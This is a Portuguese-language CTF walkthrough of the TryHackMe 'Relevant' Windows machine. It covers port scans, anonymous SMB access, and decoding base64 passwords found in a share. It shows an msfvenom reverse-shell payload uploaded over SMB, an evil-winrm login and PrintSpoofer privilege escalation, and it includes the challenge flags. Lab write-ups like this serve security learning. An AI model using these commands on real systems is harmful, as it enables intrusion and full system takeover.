CTF Relevant-Tryhackme

Informações gerais e descrição

Máquina é um servidor windows

Ao tentar acessar o endereço fornecido notei uma demora muito grande de resposta , fiz um teste em minha conexão e estava normal

Port scan

```
nmap -sC -sV 10.10.78.248
Nmap scan report for 10.10.78.248
Host is up (0.36s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE        VERSION
135/tcp  open  msrpc          Microsoft Windows RPC
139/tcp  open  netbios-ssn    Microsoft Windows netbios-ssn
3389/tcp open  ms-wbt-server?
| rdp-ntlm-info:
|   Target_Name: RELEVANT
|   NetBIOS_Domain_Name: RELEVANT
|   NetBIOS_Computer_Name: RELEVANT
|   DNS_Domain_Name: Relevant
|   DNS_Computer_Name: Relevant
|   Product_Version: 10.0.14393
|_  System_Time: 2021-10-03T14:09:48+00:00
| ssl-cert: Subject: commonName=Relevant
| Not valid before: 2021-10-02T14:06:42
|_Not valid after:  2022-04-03T14:06:42
|_ssl-date: 2021-10-03T14:10:28+00:00; +1m21s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1m20s, deviation: 0s, median: 1m19s
|_smb2-security-mode: SMB: Couldn't find a NetBIOS name that works for the server. Sorry!
|_smb2-time: ERROR: Script execution failed (use -d to debug)
```

Mapeamento da porta 445 chama atenção

```
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
```

Fazendo a enumeração de diretórios no ip disponibilizado :
Encontrei apenas : nt4wrksv
Ao colocar o diretório encontrado na url fornecida percebi que se tratava de uma pasta no servidor .

No teste isolado do nmap para saber o que estava funcionando na porta 445 ele retornou a seguinte mensagem: "Message signing enabled but not required" isso quer dizer que ele solicita uma senha para logar no smb porém ela não é obrigatória.

Listando compartilhamentos do smb
smbclient -L 10.10.78.248
Enter WORKGROUP\gabriel's password:

Sharename	Type	Comment
ADMIN$	Disk	Remote Admin
C$	Disk	Default share
IPC$	IPC	Remote IPC
nt4wrksv	Disk	

Dando o comando de listar encontramos alguns nomes

Depois de testar esses nomes o único que possibilitou uma conexão com o servidor foi : nt4wrksv

executando o seguinte comando entrei no servidor : smbclient \\10.10.78.248\nt4wrksv

Já dentro do smb , posso tentar fazer upload da nossa shell reversa ,o php estava desativado então não vou poder usar uma shell php, então tentei com asp > (msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.90.85 LPORT=1234 -f -o shell.aspx) , não deu certo , ele não nos retornou a shell .

OBS : ATÉ AQUI NÃO TINHA ENTENDIDO O PROBLEMA/PEGADINHA , ENTÃO DEI CONTINUIDADE AO PROCESSO .

Ainda no smb ,executei um comando de listagem encontrei um arquivo passwords.txt

O arquivo mesmo contendo senhas como o nome indica , não tinha uma proteção por nivel de usuário então foi possível ler o arquivo recém descoberto sem maiores problemas, foi possível recolher as seguintes informações :

[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk
/tmp/smbmore.aoRdBp (END)

A primeira hash está codificada em base64 ao decodificar temos o seguinte resultado >>
Bob - !P@$$W0rD!123

A segunda hash também estava em base64 ,apesar de que ao usar o hashidentifier para descobrir o tipo de hash ele retornou como sendo um possível sha1 partindo deste pressuposto tentei decifrar como sendo sha1, sem sucesso ,após um tempo ... já que a primeira estava em base64 por que a segunda não ?
Lição : Nunca confie 100% em ferramentas,sempre vale a pena pensar no simples antes do complexo.

Segunda hash >> Bill - Juw4nnaM4n420696969!$$$

Usuários encontrados
Bob = !P@$$W0rD!123
Bill = Juw4nnaM4n420696969!$$$

Tentar conectar com os usuários que descobri usando o evil winrm
comando
evil winrm -i 10.10.78.248 -u bob -p '!P@$$W0rD!123'

Depois de um longo tempo esperando um retorno, nada aconteceu , algo está muito errado .

Voltando o processo do início , refiz o port scan dessa vez de forma muito mais abrangente

nmap -p 1-60000 -sC -sV -T4 10.10.180.86
Resultado : Starting Nmap 7.91 (https://nmap.org) at 2021-10-03 13:36 -03
Nmap scan report for 10.10.180.86
Host is up (0.37s latency).
Not shown: 59992 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: RELEVANT
| NetBIOS_Domain_Name: RELEVANT
| NetBIOS_Computer_Name: RELEVANT
| DNS_Domain_Name: Relevant
| DNS_Computer_Name: Relevant

```
|   Product_Version: 10.0.14393
|_  System_Time: 2021-10-03T16:46:21+00:00
| ssl-cert: Subject: commonName=Relevant
| Not valid before: 2021-10-02T16:19:50
|_Not valid after:  2022-04-03T16:19:50
|_ssl-date: 2021-10-03T16:47:02+00:00; +1m21s from scanner time.
49663/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE:
cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h25m21s, deviation: 3h07m50s, median: 1m20s
| smb-os-discovery:
|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard
Evaluation 6.3)
|   Computer name: Relevant
|   NetBIOS computer name: RELEVANT\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-10-03T09:46:18-07:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-10-03T16:46:20
|_  start_date: 2021-10-03T16:20:42
```

49663/tcp open http   Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) <- Essa linha chama a atenção pois ele quer dizer que tem um segundo HTTP rodando na porta 49663 (o que chama mais atenção é o elevado número de porta que o serviço está rodando)

Diferente do primeiro acesso a máquina com o ip normal quando acesso usando o segundo http é muito mais rápido .
Realizando o mesmo processo para obter uma shell reversa anteriormente realizado , obtive sucesso .

Dentro do sistema tentei logar com os usuários descobertos, apenas o Bob funcionou e encontrei sua flag.

flag THM{fdk4ka34vk346ksxfr21tg789ktf45}

Última fase ganhar acesso ao usuário administrador
Depois de procurar um pouco descobri que a versão do que estava sendo executada no windows era o "MS Windows Server 2016"

Pesquisando sobre a versão do sistema , descobri um exploit chamado Print Spoofer , que para minha surpresa estava disponível no github do criador do
desafio .

Para explorar a vulnerabilidade era necessário fazer upload do PrintSpoofer.exe para o diretório /nt4wrksv , usei a conexão smbclient que ja tinha sido
estabelecida para isso , depois executei o seguinte comando dentro do sistema "PrintSpoofer.exe -i -c cmd.exe" consegui total controle do sistema .

Com acesso total ao sistema encontrei a flag do admin
flag THM{1fk5kf469devly1gl320zafgl345pv}